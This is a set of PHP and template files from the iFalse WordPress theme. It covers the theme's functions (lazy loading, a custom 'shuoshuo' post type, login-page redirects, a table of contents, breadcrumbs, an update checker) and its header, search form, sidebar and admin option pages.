// 延迟加载
function add_image_placeholders( $content ) {
if( is_feed() || is_preview() || ( function_exists( 'is_mobile' ) && is_mobile() ) )
return $content;
if ( false !== strpos( $content, 'data-original' ) )
return $content;
$placeholder_image = apply_filters( 'lazyload_images_placeholder_image', i_loading_pic() );
$content = preg_replace( '#<img([^>]+?)src=[\'"]?([^\'"\s>]+)[\'"]?([^>]*)>#', sprintf( '<img${1}src="%s" data-original="${2}"${3}><noscript><img${1}src="${2}"${3}></noscript>', $placeholder_image ), $content );
return $content;
}
add_filter( 'the_content', 'add_image_placeholders', 99 );
add_filter( 'post_thumbnail_html', 'add_image_placeholders', 11 );
// ---------------------------------------------------------------------
// 说说
function shuoshuo_init() {
$labels = [
'name' => '说说',
'singular_name' => '说说',
'all_items' => '所有说说',
'add_new' => '发表说说',
'add_new_item' => '撰写新说说',
'edit_item' => '编辑说说',
'new_item' => '新说说',
'view_item' => '查看说说',
'search_items' => '搜索说说',
'not_found' => '暂无说说',
'not_found_in_trash' => '没有已遗弃的说说',
'parent_item_colon' => '',
'menu_name' => '说说'
];
$args = [
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'show_in_menu' => true,
'query_var' => true,
'rewrite' => true,
'capability_type' => 'post',
'has_archive' => true,
'hierarchical' => false,
'menu_position' => null,
'supports' => array('title','editor','author','comments'),
];
register_post_type('shuoshuo', $args);
}
add_action('init', 'shuoshuo_init');
// ---------------------------------------------------------------------
// 分页第一页返回首页
$current_url = home_url(add_query_arg(array()));
$home_page_1 = home_url() . '/page/1';
if($current_url == $home_page_1) {
wp_redirect(home_url(), 302);
}
// ---------------------------------------------------------------------
// 使用主题登录/注册/找回密码页面模板
if(get_option("i_login") == 1) {
function redirect_login_page() {
$login_page = home_url( '/login/' );
$page_viewed = basename($_SERVER['REQUEST_URI']);
if( $page_viewed == "wp-login.php" && $_SERVER['REQUEST_METHOD'] == 'GET') {
wp_redirect($login_page);
exit;
}
}
function login_failed() {
$login_page = home_url( '/login/' );
wp_redirect( $login_page . '?login=failed' );
exit;
}
add_action( 'wp_login_failed', 'login_failed' );
function verify_username_password( $user, $username, $password ) {
$login_page = home_url( '/login/' );
if( $username == "" || $password == "" ) {
wp_redirect( $login_page . "?login=empty" );
exit;
}
}
add_filter( 'authenticate', 'verify_username_password', 1, 3);
add_action('init','redirect_login_page');
}
// ---------------------------------------------------------------------
// 自动添加页面模板
function ashu_add_page($title,$slug,$page_template=''){
$allPages = get_pages();
$exists = false;
foreach( $allPages as $page ){
if( strtolower( $page->post_name ) == strtolower( $slug ) ){
$exists = true;
}
}
if( $exists == false ) {
$new_page_id = wp_insert_post(
array(
'post_title' => $title,
'post_type' => 'page',
'post_name' => $slug,
'comment_status' => 'closed',
'ping_status' => 'closed',
'post_content' => '',
'post_status' => 'publish',
'post_author' => 1,
'menu_order' => 0
)
);
if($new_page_id && $page_template!=''){
update_post_meta($new_page_id, '_wp_page_template', $page_template);
}
}
}
// 使用
function ashu_add_pages() {
global $pagenow;
//判断是否为激活主题页面
if ( 'themes.php' == $pagenow && isset( $_GET['activated'] ) ){
ashu_add_page('用户登录','login','template/login.php');
ashu_add_page('用户注册','register','template/register.php');
ashu_add_page('找回密码','forget','template/forget.php');
ashu_add_page('动态说说','say','template/say.php');
ashu_add_page('友情链接','links','template/links.php');
}
}
add_action( 'load-themes.php', 'ashu_add_pages' );
// 添加@回复人
// ---------------------------------------------------------------------
function comment_add_at( $comment_text, $comment = '') {
if( $comment->comment_parent > 0) {
$comment_text = '<a style="color:#42a2ff;" href="#comment-' . $comment->comment_parent . '">@'.get_comment_author( $comment->comment_parent ) . '</a> ' . $comment_text;
}
return $comment_text;
}
add_filter( 'comment_text' , 'comment_add_at', 20, 2);
// ---------------------------------------------------------------------
// 评论区同步昵称
add_filter('get_comment_author', function ($author, $comment_ID, $comment) {
if (!$comment->user_id) {
return $author;
}
$newuser = get_userdata($comment->user_id);
return $newuser->display_name ?: $author;
}, 10, 3);
// ---------------------------------------------------------------------
// 过滤使用博主昵称的评论者
function filter_pre_comment_author_name( $cookie_comment_author_cookiehash ) {
$blogusers = get_user_by('id', 1);
foreach ( $blogusers as $user ){
if( $cookie_comment_author_cookiehash == $user->display_name ){
return $cookie_comment_author_cookiehash.'的崇拜者';
}
}
return $cookie_comment_author_cookiehash;
}
if( !is_user_logged_in() ){
add_filter( 'pre_comment_author_name', 'filter_pre_comment_author_name', 10, 1 );
}
// ---------------------------------------------------------------------
// 自定义头像
require_once('admin/avatar/wp-user-profile-avatar.php');
// ---------------------------------------------------------------------
// 添加外链媒体
require_once('admin/external/external-media-without-import.php');
// ---------------------------------------------------------------------
// Gravatar国内头像
if ( ! function_exists( 'dr_filter_get_avatar' ) ) {
function dr_filter_get_avatar( $avatar ) {
$new_gravatar_sever = 'cravatar.cn';
$sources = array(
'www.gravatar.com/avatar/',
'0.gravatar.com/avatar/',
'1.gravatar.com/avatar/',
'2.gravatar.com/avatar/',
'secure.gravatar.com/avatar/',
'cn.gravatar.com/avatar/'
);
return str_replace( $sources, $new_gravatar_sever.'/avatar/', $avatar );
}
add_filter( 'get_avatar', 'dr_filter_get_avatar' );
}
// ---------------------------------------------------------------------
// 获取用户头像
function get_user_avatar(){
global $current_user;
get_currentuserinfo();
return get_avatar($current_user -> user_email, 400);
}
//获取用户信息
function get_user_role($id)
{
$user = new WP_User($id);
return $user->data;
}
// ---------------------------------------------------------------------
// 文章目录
function insert_table_of_contents($content) {
error_reporting(0);
$html_comment = "<!--insert-toc-->";
$comment_found = strpos($content, $html_comment) ? true : false;
$fixed_location = true;
if (!$fixed_location && !$comment_found) {
return $content;
}
// 设置排除,默认页面文章不生成目录
if (is_page()) {
return $content;
}
$regex = "~(<h([1-6]))(.*?>(.*)<\/h[1-6]>)~";
preg_match_all($regex, $content, $heading_results);
// 默认小于1个段落标题不生成目录
$num_match = count($heading_results[0]);
if($num_match < 2) {
return $content;
}
$link_list = "";
for ($i = 0; $i < $num_match; ++ $i) {
$new_heading = $heading_results[1][$i] . " id='$i' " . $heading_results[3][$i];
$old_heading = $heading_results[0][$i];
$content = str_replace($old_heading, $new_heading, $content);
$link_list .= "<li class='heading-level-" . $heading_results[2][$i] .
"'><a href='#$i'>" . $heading_results[4][$i] . "</a></li>";
}
$start_nav = "<div id='article-toc'>";
$end_nav = "</div>";
$title = "<div id='article-toc-title'>目录</div>";
$link_list = "<ul id='article-toc-ul'>" . $link_list . "</ul>";
$table_of_contents = $start_nav . $title . $link_list . $end_nav;
if($fixed_location && !$comment_found) {
$first_paragraph = strpos($content, '</p>', 0) + 4;
$second_paragraph = strpos($content, '</p>', $first_p_pos);
return substr_replace($content, $table_of_contents, $second_paragraph + 0 , 0);
}
else {
return str_replace($html_comment, $table_of_contents, $content);
}
}
add_filter('the_content', 'insert_table_of_contents');
// ---------------------------------------------------------------------
// 主题自动/一键升级
require 'admin/update/update-checker.php';
$myUpdateChecker = Puc_v4_Factory::buildUpdateChecker(
'https://ifalse.onll.cn/themes/info.json',
__FILE__,
'iFalse'
);
// ---------------------------------------------------------------------
// 菜单
register_nav_menus( array(
'menu' => 'PC端菜单 (最高4级)',
'menu-mb' => '移动端菜单 (最高6级)'
));
// 菜单未定义时提示
function nav_fallback(){
if(is_user_logged_in()) {
if(is_home()) {
echo '<div class="nav">
<ul class="nav-menu">
<li class="current-menu-item"><a href="'.home_url().'">网站首页</a></li>
<li><a href="'.home_url().'/wp-admin/nav-menus.php">点击添加菜单</a></li>
</ul>
</div>';
} else {
echo '<div class="nav">
<ul class="nav-menu">
<li><a href="'.home_url().'">网站首页</a></li>
<li><a href="'.home_url().'/wp-admin/nav-menus.php">点击添加菜单</a></li>
</ul>
</div>';
}
} else {
if(is_home()) {
echo '<div class="nav">
<ul class="nav-menu">
<li class="current-menu-item"><a href="'.home_url().'">网站首页</a></li>
</ul>
</div>';
} else {
echo '<div class="nav">
<ul class="nav-menu">
<li><a href="'.home_url().'">网站首页</a></li>
</ul>
</div>';
}
}
}
function nav_fallback_mb(){
if(is_user_logged_in()) {
if(is_home()) {
echo '<div class="nav-mb">
<ul class="nav-menu-mb">
<li class="current-menu-item"><a href="'.home_url().'">网站首页</a></li>
<li><a href="'.home_url().'/wp-admin/nav-menus.php">点击添加菜单</a></li>
</ul>
</div>';
} else {
echo '<div class="nav-mb">
<ul class="nav-menu-mb">
<li><a href="'.home_url().'">网站首页</a></li>
<li><a href="'.home_url().'/wp-admin/nav-menus.php">点击添加菜单</a></li>
</ul>
</div>';
}
} else {
if(is_home()) {
echo '<div class="nav-mb">
<ul class="nav-menu-mb">
<li class="current-menu-item"><a href="'.home_url().'">网站首页</a></li>
</ul>
</div>';
} else {
echo '<div class="nav-mb">
<ul class="nav-menu-mb">
<li><a href="'.home_url().'">网站首页</a></li>
</ul>
</div>';
}
}
}
// ---------------------------------------------------------------------
//侧边栏
register_sidebar( array(
'name' => __( '首页侧边栏'),
'id' => 'sidebar-1',
'description' => '将显示在首页',
'class' => '',
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '</li>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>'
) );
register_sidebar( array(
'name' => __( '文章侧边栏'),
'id' => 'sidebar-2',
'description' => '将显示在文章页',
'class' => '',
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '</li>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>'
) );
// ---------------------------------------------------------------------
// 特色图
if(function_exists('add_theme_support')) {
add_theme_support('post-thumbnails',array('post','page'));
}
// ---------------------------------------------------------------------
// 设定摘要的长度
function new_excerpt_length($length) {
return 100;
}
add_filter('excerpt_length', 'new_excerpt_length');
// ---------------------------------------------------------------------
// 显示文章浏览次数
function getPostViews($postID) {
$count_key = 'post_views_count';
$count = get_post_meta ( $postID, $count_key, true );
if ($count == '') {
delete_post_meta ( $postID, $count_key );
add_post_meta ( $postID, $count_key, '0' );
return "0";
}
return $count . '';
}
function setPostViews($postID) {
$count_key = 'post_views_count';
$count = get_post_meta ( $postID, $count_key, true );
if ($count == '') {
$count = 0;
delete_post_meta ( $postID, $count_key );
add_post_meta ( $postID, $count_key, '0' );
} else {
$count ++;
update_post_meta ( $postID, $count_key, $count );
}
}
// ---------------------------------------------------------------------
// 登录后重定向
function i_login_redirect($redirect_to, $request, $user) {
error_reporting(0);
return (is_array($user->roles) && in_array('administrator', $user->roles)) ? admin_url() : site_url();
}
add_filter('login_redirect', 'i_login_redirect', 10, 3);
// 登出后重定向
function auto_redirect_after_logout(){
wp_redirect(home_url());
exit();
}
add_action('wp_logout','auto_redirect_after_logout');
// ---------------------------------------------------------------------
// 文章页码
function wp_pagenavi() {
global $wp_query, $wp_rewrite;
$wp_query->query_vars['paged'] > 1 ? $current = $wp_query->query_vars['paged'] : $current = 1;
$pagination = array(
'base' => @add_query_arg('paged','%#%'),
'format' => '',
'total' => $wp_query->max_num_pages,
'current' => $current,
'show_all' => false,
'type' => 'plain',
'end_size'=>'1',
'mid_size'=>'1',
'prev_text' => '<', //♂
'next_text' => '>' //♀
);
if( $wp_rewrite->using_permalinks() )
$pagination['base'] = user_trailingslashit( trailingslashit( remove_query_arg('s',get_pagenum_link(1) ) ) . 'page/%#%/', 'paged');
if( !empty($wp_query->query_vars['s']) )
$pagination['add_args'] = array('s'=>get_query_var('s'));
echo paginate_links($pagination);
}
// ---------------------------------------------------------------------
// 后台添加链接
add_filter( 'pre_option_link_manager_enabled', '__return_true' );
// ---------------------------------------------------------------------
//搜索时排除页面
function exclude_page() {
global $post;
if ($post->post_type == 'page') {
return true;
} else {
return false;
}
}
// ---------------------------------------------------------------------
//禁用多语言
add_filter( 'login_display_language_dropdown', '__return_false' );
// ---------------------------------------------------------------------
//禁止空搜索
add_filter( 'request', 'uctheme_redirect_blank_search' );
function uctheme_redirect_blank_search( $query_variables ) {
if(isset($_GET['s']) && !is_admin()) {
if(empty($_GET['s']) || ctype_space($_GET['s'])) {
wp_redirect( home_url() );
exit;
}
}
return $query_variables;
}
// ---------------------------------------------------------------------
// 去除分类
add_action( 'load-themes.php', 'no_category_base_refresh_rules');
add_action('created_category', 'no_category_base_refresh_rules');
add_action('edited_category', 'no_category_base_refresh_rules');
add_action('delete_category', 'no_category_base_refresh_rules');
function no_category_base_refresh_rules() {
global $wp_rewrite;
$wp_rewrite -> flush_rules();
}
add_action('init', 'no_category_base_permastruct');
function no_category_base_permastruct() {
global $wp_rewrite, $wp_version;
if (version_compare($wp_version, '3.4', '<')) {
$wp_rewrite -> extra_permastructs['category'][0] = '%category%';
} else {
$wp_rewrite -> extra_permastructs['category']['struct'] = '%category%';
}
}
add_filter('category_rewrite_rules', 'no_category_base_rewrite_rules');
function no_category_base_rewrite_rules($category_rewrite) {
$category_rewrite = array();
$categories = get_categories(array('hide_empty' => false));
foreach ($categories as $category) {
$category_nicename = $category -> slug;
if ($category -> parent == $category -> cat_ID)
$category -> parent = 0;
elseif ($category -> parent != 0)
$category_nicename = get_category_parents($category -> parent, false, '/', true) . $category_nicename;
$category_rewrite['(' . $category_nicename . ')/(?:feed/)?(feed|rdf|rss|rss2|atom)/?$'] = 'index.php?category_name=$matches[1]&feed=$matches[2]';
$category_rewrite['(' . $category_nicename . ')/page/?([0-9]{1,})/?$'] = 'index.php?category_name=$matches[1]&paged=$matches[2]';
$category_rewrite['(' . $category_nicename . ')/?$'] = 'index.php?category_name=$matches[1]';
}
global $wp_rewrite;
$old_category_base = get_option('category_base') ? get_option('category_base') : 'category';
$old_category_base = trim($old_category_base, '/');
$category_rewrite[$old_category_base . '/(.*)$'] = 'index.php?category_redirect=$matches[1]';
return $category_rewrite;
}
add_filter('query_vars', 'no_category_base_query_vars');
function no_category_base_query_vars($public_query_vars) {
$public_query_vars[] = 'category_redirect';
return $public_query_vars;
}
add_filter('request', 'no_category_base_request');
function no_category_base_request($query_vars) {
if (isset($query_vars['category_redirect'])) {
$catlink = trailingslashit(get_option('home')) . user_trailingslashit($query_vars['category_redirect'], 'category');
status_header(301);
header("Location: $catlink");
exit();
}
return $query_vars;
}
// ---------------------------------------------------------------------
//面包屑导航
function i_breadcrumb() {
if ( is_front_page() ) {
return;
}
global $post;
$custom_taxonomy = '';
$defaults = array(
'seperator' => '>',
'id' => 'i-breadcrumb',
'classes' => 'i-breadcrumb',
'home_title' => esc_html__( '首页', '' )
);
$sep = '<li class="seperator">'. esc_html( $defaults['seperator'] ) .'</li>';
echo '<ul id="'. esc_attr( $defaults['id'] ) .'" class="'. esc_attr( $defaults['classes'] ) .'">';
echo '<li class="item"><a href="'. get_home_url() .'">'. esc_html( $defaults['home_title'] ) .'</a></li>' . $sep;
if ( is_single() ) {
$post_type = get_post_type();
if( $post_type != 'post' ) {
$post_type_object = get_post_type_object( $post_type );
$post_type_link = get_post_type_archive_link( $post_type );
echo '<li class="item item-cat"><a href="'. $post_type_link .'">'. $post_type_object->labels->name .'</a></li>'. $sep;
}
$category = get_the_category( $post->ID );
if( !empty( $category ) ) {
$category_values = array_values( $category );
$get_last_category = end( $category_values );
$get_parent_category = rtrim( get_category_parents( $get_last_category->term_id, true, ',' ), ',' );
$cat_parent = explode( ',', $get_parent_category );
$display_category = '';
foreach( $cat_parent as $p ) {
$display_category .= '<li class="item item-cat">'. $p .'</li>' . $sep;
}
}
$taxonomy_exists = taxonomy_exists( $custom_taxonomy );
if( empty( $get_last_category ) && !empty( $custom_taxonomy ) && $taxonomy_exists ) {
$taxonomy_terms = get_the_terms( $post->ID, $custom_taxonomy );
$cat_id = $taxonomy_terms[0]->term_id;
$cat_link = get_term_link($taxonomy_terms[0]->term_id, $custom_taxonomy);
$cat_name = $taxonomy_terms[0]->name;
}
if( !empty( $get_last_category ) ) {
echo $display_category;
echo '<li class="item item-current">'. '正文' .'</li>';
} else if( !empty( $cat_id ) ) {
echo '<li class="item item-cat"><a href="'. $cat_link .'">'. $cat_name .'</a></li>' . $sep;
echo '<li class="item-current item">'. '正文' .'</li>';
} else {
echo '<li class="item-current item">'. '正文' .'</li>';
}
} else if( is_archive() ) {
if( is_tax() ) {
$post_type = get_post_type();
if( $post_type != 'post' ) {
$post_type_object = get_post_type_object( $post_type );
$post_type_link = get_post_type_archive_link( $post_type );
echo '<li class="item item-cat item-custom-post-type-' . $post_type . '"><a href="' . $post_type_link . '">' . $post_type_object->labels->name . '</a></li>' . $sep;
}
$custom_tax_name = get_queried_object()->name;
echo '<li class="item item-current">'. $custom_tax_name .'</li>';
} else if ( is_category() ) {
$parent = get_queried_object()->category_parent;
if ( $parent !== 0 ) {
$parent_category = get_category( $parent );
$category_link = get_category_link( $parent );
echo '<li class="item"><a href="'. esc_url( $category_link ) .'">'. $parent_category->name .'</a></li>' . $sep;
}
echo '<li class="item item-current">'. single_cat_title( '', false ) .'</li>';
} else if ( is_tag() ) {
$term_id = get_query_var('tag_id');
$taxonomy = 'post_tag';
$args = 'include=' . $term_id;
$terms = get_terms( $taxonomy, $args );
$get_term_name = $terms[0]->name;
echo '<li class="item-current item">'. $get_term_name .'</li>';
} else if( is_day() ) {
echo '<li class="item-year item"><a href="'. get_year_link( get_the_time('Y') ) .'">'. get_the_time('Y') . ' Archives</a></li>' . $sep;
echo '<li class="item-month item"><a href="'. get_month_link( get_the_time('Y'), get_the_time('m') ) .'">'. get_the_time('M') .' Archives</a></li>' . $sep;
echo '<li class="item-current item">'. get_the_time('jS') .' '. get_the_time('M'). ' Archives</li>';
} else if( is_month() ) {
echo '<li class="item-year item"><a href="'. get_year_link( get_the_time('Y') ) .'">'. get_the_time('Y') . ' Archives</a></li>' . $sep;
echo '<li class="item-month item-current item">'. get_the_time('M') .' Archives</li>';
} else if ( is_year() ) {
echo '<li class="item-year item-current item">'. get_the_time('Y') .' Archives</li>';
} else if ( is_author() ) {
global $author;
$userdata = get_userdata( $author );
echo '<li class="item-current item">'. 'Author: '. $userdata->display_name . '</li>';
} else {
echo '<li class="item item-current">'. post_type_archive_title() .'</li>';
}
} else if ( is_page() ) {
if( $post->post_parent ) {
$anc = get_post_ancestors( $post->ID );
$anc = array_reverse( $anc );
if ( !isset( $parents ) ) $parents = null;
foreach ( $anc as $ancestor ) {
$parents .= '<li class="item-parent item"><a href="'. get_permalink( $ancestor ) .'">'. get_the_title( $ancestor ) .'</a></li>' . $sep;
}
echo $parents;
echo '<li class="item-current item">'. '正文' .'</li>';
} else {
echo '<li class="item-current item">'. '正文' .'</li>';
}
} else if ( is_search() ) {
echo '<li class="item-current item">Search results for: '. get_search_query() .'</li>';
} else if ( is_404() ) {
echo '<li class="item-current item">' . 'Error 404' . '</li>';
}
echo '</ul>';
} | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/searchform-mobile.php | searchform-mobile.php | <form role="searchform-mb" method="get" id="searchform-mb" class="searchform-mb" action="<?php bloginfo('url') ?>">
<div>
<input type="text-" value="<?php the_search_query(); ?>" name="s" id="s" placeholder="搜索这个世界" required>
<button type="submit"><span class="iconfont icon-sousuo"></span></button>
</div>
</form> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/index.php | index.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_index(); ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html>
<?php if(get_option("i_mourn") == 1) { ?><style>html{filter:grayscale(1);}body::-webkit-scrollbar-thumb{background-color: gray !important;}</style><?php } ?> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/404.php | 404.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div class="page-404">
<div class="page-404-detail">
<img src="<?php echo i_static(); ?>/images/404.png" alt="404">
<p><?php if(get_option("i_404_tip")) {echo get_option("i_404_tip");} else{echo "抱歉, 您请求的页面找不到了!";} ?></p>
<a class="back-home" onclick="window.history.go(-1)" style="cursor:pointer">返回上一页</a>
<a class="back-history" href="<?php bloginfo('url'); ?>">返回首页</a>
</div>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js() ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/header.php | header.php | <div class="container-full nav-bar header <?php if(get_option("i_header_hidden") == 1) {echo 'header-hidden';} ?>">
<div class="left">
<?php if(get_option("i_logo_hidden") == 1) {} else { ?>
<a href="<?php bloginfo('url') ?>" rel="home" class="logo">
<img class="logo-light" src="<?php if(get_option("i_logo_url_light")){echo get_option("i_logo_url_light");}else{site_icon_url();}; ?>" alt="">
<img class="logo-night" style="display:none" src="<?php if(get_option("i_logo_url_night")){echo get_option("i_logo_url_night");}else{site_icon_url();}; ?>" alt="">
<script>
const logo_light = document.querySelector('.nav-bar .logo .logo-light');
const logo_night = document.querySelector('.nav-bar .logo .logo-night');
function getCookie(name){
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i].trim();
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
if (getCookie("night") == "1") {
logo_light.style.display = "none";
logo_night.style.display = "block";
} else {
logo_light.style.display = "block";
logo_night.style.display = "none";
}
</script>
</a>
<?php } ?>
<?php
wp_nav_menu(array(
'theme_location' => 'menu',
'container_id' => 'nav',
'container_class' => 'nav',
'menu_id' => 'nav-menu',
'menu_class' => 'nav-menu',
'fallback_cb' => 'nav_fallback'
) );
?>
</div>
<?php if(get_option("i_login_hidden") != 1 || is_user_logged_in()){ ?>
<div class="right">
<?php if (is_user_logged_in()) { ?>
<div class="admin">
<?php echo get_user_avatar(); ?>
</div>
<div class="user-menu">
<?php if(current_user_can('level_7')) { ?>
<a href="<?php bloginfo('url') ?>/wp-admin"><span class="iconfont icon-shezhi"></span> 后台管理</a>
<?php } ?>
<?php if(current_user_can('level_1')) { ?>
<a href="<?php bloginfo('url') ?>/wp-admin/post-new.php"><span class="iconfont icon-weibiaoti--"></span> 发布文章</a>
<a href="<?php bloginfo('url') ?>/wp-admin/post-new.php?post_type=shuoshuo"><span class="iconfont icon-xiaoxi2"></span> 发表说说</a>
<?php } ?>
<a href="<?php bloginfo('url') ?>/wp-admin/profile.php"><span class="iconfont icon-user"></span> 个人资料</a>
<a class="logout" href="<?php echo wp_logout_url(); ?>"><span class="iconfont icon-tuichu1"></span> 退出登录</a>
</div>
<?php ;} else { ?>
<a href="<?php echo wp_login_url(); ?>" class="login"><span class="iconfont icon-User"></span></a>
<?php ;} ?>
</div>
<?php } ?>
</div>
<?php i_header_mb(); ?>
<div class="change-night change-night-pc" onclick="switchNightMode();nightBtn();"><span class="iconfont"></span></div>
<div class="progress-wrap"><svg><path></svg></div>
<script src="<?php echo i_static(); ?>/js/headroom.min.js"></script>
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/single-shuoshuo.php | single-shuoshuo.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_shuoshuo(); ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/date.php | date.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_date() ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/single.php | single.php | <?php i_frame(); ?>
<body>
<?php get_header(); ?>
<section>
<div>
<?php i_article(); ?>
</div>
<?php get_footer(); ?>
</section>
<?php i_frame_js(); ?>
</body>
</html> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/searchform.php | searchform.php | <form role="search" method="get" id="searchform" class="searchform" action="<?php bloginfo('url') ?>">
<input type="text" value="<?php the_search_query(); ?>" name="s" id="s" placeholder="搜索这个世界" required>
<button type="submit"><span class="iconfont icon-sousuo"></span></button>
</form> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/sidebar.php | sidebar.php | <div class="sidebar">
<div class="author-info-box">
<div class="author-info">
<div class="post-author-logo">
<a href="<?php home_url();echo '/author/';echo get_the_author_meta('user_login',1); ?>"><?php echo get_avatar(1); ?></a>
</div>
<div class="post-author-name"><a href="<?php home_url();echo '/author/';echo get_the_author_meta('user_login',1); ?>"><?php echo get_user_role(1)->display_name; ?></a></div>
<div class="post-author-description">
<?php
if(get_the_author_meta('description',1)) {
echo get_the_author_meta('description',1);
} else {
echo '这家伙很懒,什么都没写';
}
?>
</div>
<div class="post-author-new">
<?php query_posts('showposts=6&author=1');
while (have_posts()) : the_post();?>
<li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></li>
<?php endwhile; ?>
</div>
</div>
</div>
<!-- sidebar -->
<ul id="primary-sidebar">
<?php if ( is_active_sidebar( 'sidebar-1' ) ) : ?>
<?php dynamic_sidebar( 'sidebar-1' ); ?>
<?php else: ?>
<?php endif; ?>
</ul>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/i_opt.php | admin/i_opt.php | <?php
error_reporting(0);
if($_POST["i_opt"]){
$attachment_id = media_handle_upload( 'logo', 0 ); //上传图片,返回的是 附件的ID
$logo_url = wp_get_attachment_url($attachment_id); //获取 图片的地址
if($logo_url){
update_option("logo_img",$logo_url); //如果图片地址在在,就将图片的地址写入到数据库
}
}
$logo_img = get_option("logo_img");
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<div class="ifalse">
<!-- logo -->
<div class="ifalse-logo">
<div class="box">
<div class="title">
<span class="block"></span>
<h1>iFalse主题<span></span></h1>
</div>
<div class="role">
<div class="block"></div>
<p>by 神秘布偶猫</p>
</div>
</div>
</div>
<!-- content -->
<div class="ifalse-text">
<div class="start"><a href="/wp-admin/admin.php?page=i_base">开始设置</a></div>
<div>
使用文档:<a href="https://ifalse.onll.cn/docs" target="_blank">传送门</a><br>
主题官网:<a href="https://ifalse.onll.cn" target="_blank">iFalse主题</a><br>
项目地址:</span><a href="https://github.com/kannafay/iFalse" target="_blank">GitHub</a>/<a href="https://gitee.com/kannafay/iFalse" target="_blank">Gitee</a><span>
</div>
</div>
</div>
<script src="<?php echo i_static(); ?>/admin/options/i_frame.js"></script>
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
<script src="https://stat.onll.cn/stat.js"></script> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/uninstall.php | admin/avatar/uninstall.php | <?php
if (!defined('WP_UNINSTALL_PLUGIN')) {
exit();
}
$options = array(
'wpupa_tinymce',
'wpupa_show_avatars',
'wpupa_rating',
'wpupa_default',
'wpupa_version',
'wpupa_allow_upload',
'wpupa_disable_gravatar',
'wpupa_show_avatars',
'wpupa_attachment_id',
);
foreach ($options as $option) {
delete_option($option);
}
$users = get_users();
foreach ($users as $user) {
delete_user_meta($user->ID, '_wpupa_attachment_id');
delete_user_meta($user->ID, '_wpupa_default');
delete_user_meta($user->ID, '_wpupa_url');
} | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/wp-user-profile-avatar.php | admin/avatar/wp-user-profile-avatar.php | <?php
/**
Plugin Name: WP User Profile Avatar
Plugin URI: https://www.wp-eventmanager.com/
Description: WP User Profile Avatar
Author: WP Event Manager
Author URI: https://www.wp-eventmanager.com
Text Domain: wp-user-profile-avatar
Domain Path: /languages
Version: 1.0
Since: 1.0
Requires WordPress Version at least: 4.1
Copyright: 2020 WP Event Manager
License: GNU General Public License v3.0
License URI: http://www.gnu.org/licenses/gpl-3.0.html
* */
// Exit if accessed directly
if (!defined('ABSPATH')) {
exit;
}
/**
* WP_User_Profile_Avatar class.
*/
class WP_User_Profile_Avatar {
/**
* The single instance of the class.
*
* @var self
* @since 1.0
*/
private static $_instance = null;
/**
* Main WP User Profile Avatar Instance.
*
